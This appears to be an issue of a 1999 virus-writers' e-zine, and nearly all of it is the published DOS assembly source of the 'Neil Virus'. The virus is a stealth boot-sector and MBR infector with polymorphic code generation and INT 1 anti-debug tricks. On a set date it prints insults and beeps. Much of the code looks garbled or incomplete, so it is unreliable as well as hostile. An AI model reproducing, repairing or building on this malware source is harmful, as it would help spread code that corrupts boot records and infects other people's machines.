ฤฤฤฤฤฤฤ[PVW5.015]ฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤ Written for the : Pinoy Virus Writers E-Zine #5 % % % % % - = %|% = - ษอออ sOuRcEs !!! ออออออออออออออออออออออออออออออออออออออออออป ศอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ Neil Virus By : Lorz Use TASM & TLINK This virus will be called as Neil Virus This virus combines two showing first a message and then beeping Full stealth MBR/BS infector Read stealth on Bootsectors , read and write stealth on MBRs Terminate & Stay Resident Encrypts the original MBR/BS It is highly polymorphic. It uses routines that use the bit field patterns of opcodes to produce opcodes of a limited type each. The following routines total 299 bytes including random number generators and local variables. They assume ds:di is the destination for the garbage opcodes and use destroy the contents of ax and bx Anti-Debug technique It involves hooking INT 1, and decrypting each instruction just before it's run, and Re-Encrypting it straight after it has been executed. Only 1 instruction at time is decrypted in memory. -ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ-- page 58,132 title Neil_Virus .286 dseg segment copyright db 'All Day I Dream About Virus' funknown db ? last dw 0 msg db 'Trying to disassemble me punk',0 l_msg equ $-msg floppy_boot db 3ch dup (0) old_13h dd ? _ax dw 0 savebuffer db 45 dup(?) last_fill_type dw 0 shit_range dw 0 shit_range_base dw 0 date dw ? time dw ? attrib dw ? asshole db 13,10,7 db '**Fuck*u**',13,10 db '***Neil***',13,10 db '**Asshole*',13,10 db '**Bastard*',13,10 db '**Lamer***',13,10 db '*UglyPunk*',13,10 db '*PVWrules*',13,10 db '$' l_asshole equ $-asshole dseg ends cseg segment assume cs:cseg,ds:dseg org 100h page start: jmp no_award no_award: pop es mov si,13h*4 lea di,old_13h cld movsw movsw mov word ptr [si-2],es mov word ptr [si-4],offset int13_virus cmp dh,0 jne int13_exit cmp cx,1 jne int13_exit mov word ptr cs:[_ax],ax call int13 pushf xchg word ptr cs:[_ax],ax jc return cmp ah,2 je readstealth cmp dl,80h jb return cmp ah,3 je infect mov ah,25h lea dx,int13_virus int 21h xchg ax,dx int 27h readstealth: call infection_check jne infect call choose_sectors return: xchg ax,word ptr cs:[_ax] popf retf 2 infect: pusha push ds push es push cs push cs pop ds push es call infection_check mov cx,3ch mov si,514 lea di,floppy_boot cld rep movsb call choose_sectors mov bx,512 call crypt call writesector xor bx,bx mov dh,0 mov cx,1 call writesector pop es pop ds popa jmp return page int13_exit: db 0eah int13_virus proc far call tunnel_cpm cmp ah,4bh jne int13_exit int 21h mov ax,3501h int 21h mov ax,2501h lea dx,anti_debug int 21h mov ax,4300h int 21h mov attrib,ax xor cx,cx mov ax,3d02h int 21h jc exit mov bx,ax mov ax,5700h int 21h mov date,cx mov time,cx mov ah,40h call poly mov cx,vend-start lea dx,start int 21h mov ax,5701h mov cx,time mov dx,date int 21h mov ah,3eh int 21h mov dx,9eh mov cx,attrib mov ax,4301h int 21h mov ah,2ah int 21h cmp dl,13 je payload mov di,100h lea si,[bp+savebuffer] push di movsw movsb retn exit: int 20h payload: pusha mov bx,0001h lea dx,asshole mov cx,l_asshole mov ah,40h int 21h popa mov cx,1000 mov ax,0e07h jmp beep beep: int 10h loop beep int13_virus endp page tunnel_cpm proc near mov ax,ds:[016h] mov bx,ds cmp ax,bx je psp_end cmp ax,0 je psp_end mov ds,ax jmp tunnel_cpm psp_end: mov si, 5 jump_loop: lds si,ds:[si+1] cmp byte ptr ds:[si], 0eah je jump_loop check_first_magic: cmp word ptr ds:[si],9090h jne check_second_magic sub si,32h cmp word ptr ds:[si],9090h jne tunnel_error tunnel_error: stc ret tunnel_success: clc ret check_second_magic: cmp word ptr ds:[si],2e1eh jne tunnel_error add si, 25h cmp word ptr ds:[si],80fah je tunnel_success tunnel_cpm endp page poly proc call get_rnd and ax,03h inc ax inc ax do_cx_rnd: push ax new_fill: mov ax, (end_op_table-op_table)/2 call rand_in_range cmp ax,word ptr [last_fill_type] jz new_fill mov word ptr [last_fill_type],ax add ax,ax mov bx,ax call word ptr cs:[op_table+bx] pop ax dec ax jnz do_cx_rnd ret op_table: dw offset go_with_mem dw offset move_with_reg dw offset move_imm dw offset reg_exchange dw offset do_push_pop end_op_table: move_imm: call get_rnd and al,0Fh or al,0B0h, test al,00001000b jz is_8bit_mov and al,11111011b mov ah,al and ah,03h jz move_imm stosb call rand_16 stosw ret is_8bit_mov: mov bh,al and bh,07h jz move_imm stosb call get_rnd stosb ret go_with_mem: call rand_16 and ax,0011100000000011b or ax,0000011010001000b test al,00000001b jnz is_16bitter cmp ah,byte ptr 00000110b jz make_to_mem jmp all_clear_for_mem is_16bitter: and ah,00011110b cmp ah,byte ptr 00000110b jnz all_clear_for_mem make_to_mem: and al,11111101b all_clear_for_mem: stosw mov ax,[shit_range] or ax,ax jnz shit_ok dec di dec di ret shit_ok: xor ah,ah call rand_in_range add ax,[shit_range_base] stosw ret move_with_reg: call rand_16 and ax,0011111100000001b or ax,1100000010001010b reg_test: test al,1 jz is_8bit_move_with_reg and ah,11011011b is_8bit_move_with_reg: mov bl,ah and bl,00111000b jz move_with_reg mov bh,ah sal bh,1 sal bh,1 sal bh,1 and bh,00111000b cmp bh,bl jz move_with_reg stosw ret reg_exchange: call move_with_reg dec di dec di test al,1b jnz reg_exchange mov bh,ah and bh,07h jz reg_exchange mov al,10000110b stosw ret make_math_with_mem: call go_with_mem push di sub di,4 mov al,byte ptr [di] and al,offset funknown push ax call get_rnd and al,00111000b pop bx or al,bl mov byte ptr [di],al pop di ret bytes_2: push ax pop dx push ax pop bx push ax pop cx push bx pop dx push bx pop cx push cx pop bx push cx pop dx end_bytes_2: do_push_pop: mov ax,(end_bytes_2-bytes_2)/2 call rand_in_range add ax,ax mov bx,ax mov ax,word ptr [bytes_2+bx] stosw ret rand_in_range: push bx push dx xchg ax,bx call get_rnd xor dx,dx div bx xchg ax,dx pop dx pop bx ret get_rnd: in ax,40h xor ax, 0FFFFh org $-2 Randomize dw ? mov [Randomize],ax ret rand_16: call get_rnd mov bl,al call get_rnd mov ah,bl ret poly endp page writesector proc mov ax,301h jmp short int13 writesector endp int13: pushf call dword ptr cs:[old_13h] ret choose_sectors proc mov cx,4 cmp dl,79h ja to_exit mov dh,1 mov cx,14 ret choose_sectors endp to_exit: ret infection_check proc pusha push es infection_check endp page crypt proc pusha mov cx,512 crypt_loop: xor byte ptr es:[bx],69 inc bx loop crypt_loop popa ret crypt endp page anti_debug proc far or ax,ax mov es,ax mov di,es:word ptr [4] mov si,es:word ptr [6] mov es:word ptr [4],offset tracer mov es:word ptr [6],cs mov bp,sp pushf or byte ptr [bp-1],1 popf xor dx,dx push cs pop ds mov ah,9h nop lea dx,msg int 21h mov bp,sp ;417 tracer: push bp mov bp,sp push si mov bp,word ptr [bp+2] test bp,1 jnz is_odd mov si,cs:last mov cs:last,bp xor cs:word ptr [si],si xor cs:word ptr [bp],bp is_odd: pop si pop bp iret last_enc equ $ popf mov bx,offset last_enc xor cs:word ptr [bx],bx mov es:word ptr [4],di mov es:word ptr [6],si mov ah,4ch int 21h nop pusha mov bx,0001h lea dx,msg mov cx,l_msg mov ah,40h int 21h anti_debug endp vend: cseg ends end start -ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ-- (C) Pinoy Virus Writers 1999 Lorz213@mailcity.com